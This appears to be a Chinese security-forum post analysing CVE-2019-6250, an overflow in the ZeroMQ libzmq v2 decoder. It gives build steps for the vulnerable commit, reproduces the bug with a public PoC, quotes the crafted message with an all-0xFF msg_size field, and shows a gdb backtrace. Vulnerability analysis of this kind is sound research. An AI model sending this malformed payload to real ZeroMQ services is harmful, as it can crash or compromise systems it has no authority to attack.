首页
社区
课程
招聘
[分享]漏洞分析 CVE-2019-6250
2023-3-10 14:57 9242

[分享]漏洞分析 CVE-2019-6250

2023-3-10 14:57
9242

漏洞分析 CVE-2019-6250

软件介绍

ZeroMQ(Zero Message Queue) 是一个 C++ 编写的高性能分布式消息队列,是一个非常简单好用的传输层,使得 Socket 编程更加简单、简洁和性能更高效。ZeroMQ 核心引擎是libzmq

环境配置

系统环境 ubuntu18.04(64bit)

 

目标软件版本: libzmq 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

安装 libzmq

下载目标软件

1
Git clone https://github.com/zeromq/libzmq.git

跳转到有漏洞的版本

1
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

安装 libtool

1
sudo apt-get install libtool pkg-config build-essential autoconf automake

执行

1
./autogen.sh

执行

1
./configure

执行

1
make

执行

1
sudo make install

安装 Cmake

cppzmq 的编译需要版本较新的 Cmake

 

第一步:卸载原来的cmake版本:

1
sudo apt-get remove cmake

第二步:自 https://cmake.org/download/ 下载cmake源码,cmake-3.26.0-rc5.tar.gz。

 

第三步:解压cmake源码。在cmake源码所在文件夹中打开命令终端,解压文件:

1
2
tar -zxv -f cmake-3.26.0-rc5.tar.gz
cd cmake-3.26.0-rc5

第四步:进入解压后的cmake文件,执行bootstrap。接下来的bootstrap、make、make install三个命令执行时间都很长,需要耐心等待。

1
./bootstrap

出现以下错误可尝试依次使用下列命令,记得重新运行第四步的命令:

1
sudo apt-get install g++
1
sudo apt-get install libssl-dev

第五步:编译构建:

1
2
make
sudo make install

第六步:验证安装版本

1
cmake --version

安装 cppzmq

下载 cppzmq

1
git clone https://github.com/zeromq/cppzmq

这一步会卡很久,而且会提示 CMake libzmq package not found,多等一会儿就可以了

1
root@ubuntu:~/cppzmq# cmake .

转到 demo 文件夹

1
cd demo

编辑 demo 文件,添加 helloworld

1
printf("hello world\n")

编译 demo 文件

1
root@ubuntu:~/cppzmq/demo# make

demo 文件可以正常执行

1
2
root@ubuntu:~/cppzmq/demo# ./demo
root@ubuntu:~/cppzmq/demo# hello world

漏洞复现

  • 复制 POC https://github.com/zeromq/libzmq/issues/3351

  • 在 cmakelists.txt 文件第一行添加

    1
    set(CMAKE_CXX_FLAGS "-std=c++11 -g -O3")
  • 复制到demo并重新编译

  • 执行 ./demo
  • 漏洞成功复现

分析POC

send 的第三个参数就是 msg_size,是可控的,这里传了一个非常大的数,应该是导致溢出的关键参数

1
2
3
4
5
const uint8_t v2msg[] = {
    0x02, /* v2_decoder_t::eight_byte_size_ready */
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);

跟踪 whoami 在 POC 中的传递

 

 

大致了解了POC的流程后我们根据POC作者的指引找到 /root/libzmq/src/v2_deocder.cpp 文件查看源码,从而找到了其溢出的关键代码

 

 

也可以在 gdb 中动态调试一下,可以看到 msgsize = 0xffffffffffffffff

1
2
3
4
break main
r
break zmq::v2_decoder_t::size_ready
c
1
2
3
4
5
6
7
8
9
10
11
[ trace ]──────────────────────────────────────────────────────
[#0] RetAddr: 0x7ffff7baa3c0, Name: zmq::v2_decoder_t::size_ready(this=0x7fffe800b6b0, msg_size_=0xffffffffffffffff, read_pos_=0x7fffe800b781 "")
[#1] RetAddr: 0x7ffff7baa808, Name: zmq::decoder_base_t<zmq::v2_decoder_t, zmq::shared_message_memory_allocator>::decode(this=0x7fffe800b6b0, data_=0x7fffe800b778 "\002\377\377\377\377\377\377\377\377", size_=0x2000, bytes_used_=@0x7ffff5b34fd8)
[#2] RetAddr: 0x7ffff7b9ac07, Name: zmq::stream_engine_t::in_event(this=0x7fffe80008e0)
[#3] RetAddr: 0x7ffff7b9e231, Name: zmq::stream_engine_t::plug(this=0x7fffe80008e0, io_thread_=<optimized out>, session_=<optimized out>)
[#4] RetAddr: 0x7ffff7b8a60c, Name: zmq::session_base_t::process_attach(this=0x7fffe8000e30, engine_=0x7fffe80008f0)
[#5] RetAddr: 0x7ffff7b7939a, Name: zmq::object_t::process_command(this=0x7fffe8000e30, cmd_=<optimized out>)
[#6] RetAddr: 0x7ffff7b6e234, Name: zmq::io_thread_t::in_event(this=0x7ffff0004800)
[#7] RetAddr: 0x7ffff7b6c9ee, Name: zmq::epoll_t::loop(this=0x7ffff0004db0)
[#8] RetAddr: 0x7ffff7ba359d, Name: thread_routine(arg_=0x7ffff0004e08)
[#9] RetAddr: 0x7ffff6e47184, Name: start_thread(arg=0x7ffff5b36700)

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-3-12 19:27 被简单的简单编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 12052
活跃值: (15379)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-3-10 17:39
2
0
图挂了,重新上传一下
雪    币: 29412
活跃值: (18675)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2023-3-12 11:11
3
0
图不多,建议直接复制粘贴上来,建议换个图床,http://jiandanyun.myds.me 对第三方站点显示图片有限制
游客
登录 | 注册 方可回帖
返回